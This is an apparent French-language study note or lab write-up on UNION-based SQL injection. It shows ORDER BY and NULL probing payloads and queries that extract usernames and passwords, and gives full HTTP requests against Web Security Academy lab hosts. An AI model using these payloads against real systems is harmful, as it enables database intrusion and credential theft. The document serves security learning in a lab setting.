Description
Quand une vulnérabilité SQL est possible. IL est possible d’utiliser le mot clef : UNION pour récupérer des données d’une table qui n’est normalement pas accessible.
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Le résultat de cette query retourne 2 colones a et b de la “table1” ainsi que des colones c et d de la table2
Prérequis pour qu’une UNION query fonctionnent :
- La query doit retourner le même nombre de colone
- Le type de donnée de chaque colones doit être compatible entre les queries individuelles
Déterminer le nombre de colones
1 ère méthode : ORDER BY
Une méthode consiste à tester une série de ORDER BY et d’incrémenter le nombre de colonnes jusqu’à obtenir une erreur.
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY n--
' ORDER BY n+1--
Une erreur devrait apparaître lorque la limite est atteinte.
Elle peut ressembler à ceci :
The ORDER BY position number 3 is out of range of the number of items in the select list.
Ou avoir une erreur HTTP par exemple, le principal est qu’il y’ai une erreur.
2 ème méthode : UNION SELECT
Une deuxième consiste à utiliser une série de UNION SELECT en spécifiant un nombre de valeur null.
Comme ceci :
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
Si le nombre de NULL ne correspond pas au nombre de colones alors la database va renvoyé une erreur, comme :
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
On utiliser une série de NULL pour être sur que les données injectées soient compatibles avec les données originelles.
NULL étant valide pour tous les types de données.
3 ème déterminer le type de données
Pour savoir si une colone contient des données de type string.
Admettons que nous avons trouvé 3 colones.
' UNION SELECT 'abcdef',NULL,NULL--
' UNION SELECT NULL,'abcdef',NULL--
Il suffit de rentrer une string quelconque et de la déplacer jusqu’à trouver un match.
4 Récupérer des informations intéressantes
Si l’on veut récupérer le mot de passe des utilisateurs ainsi que les noms, on peut utiliser ce type d’attaque.
Comme ceci :
' UNION SELECT username, password FROM users--
Il faut bien entendu savoir au préallable qu’il existe bien une table users ainsi que les colonnes username, password. Il est néanmoins possible de deviner ces données, en essayant plusieurs choses possibles.
Exemple pratique
Après avoir déterminé que les données utilisaient 2 colones de string.
GET /filter?category=Clothing%2c+shoes+and+accessories+'+UNION+SELECT+username,password+FROM+users+-- HTTP/2
Host: 0a3500900325f9e58625030a002a00dc.web-security-academy.net
Cookie: session=rdHHyFLxXcdOqrLns6VKJzDfmcP9HrYe
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3500900325f9e58625030a002a00dc.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
J’ai écris cette requête permettant de récupérer les données de la table users directement.
5 Récupérer plusieurs valeurs sur une seule colone
Dans certains cas, il est possible de récupérer les données sur une seule colone.
Par exemple sur oracle :
' UNION SELECT username || '~' || password FROM users--
|| : est la concaténation sur oracle
“~” indique d’utiliser ~ comme séparateur
Ce qui donne ceci :
Admin~P4ssw0rd
Ce qui nous donne ceci dans un exemple avec une seule colone pouvant avoir des strings :
GET /filter?category=Clothing%2c+shoes+and+accessories+'+UNION+SELECT+NULL,username +||+'~'+||+password+FROM+users+-- HTTP/2
Host: 0aca00ab044710e88058d00e00cb00c3.web-security-academy.net
Cookie: session=JtSDqa1IAQaXoOT0F2Wby2OQ13VW2wjx
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aca00ab044710e88058d00e00cb00c3.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7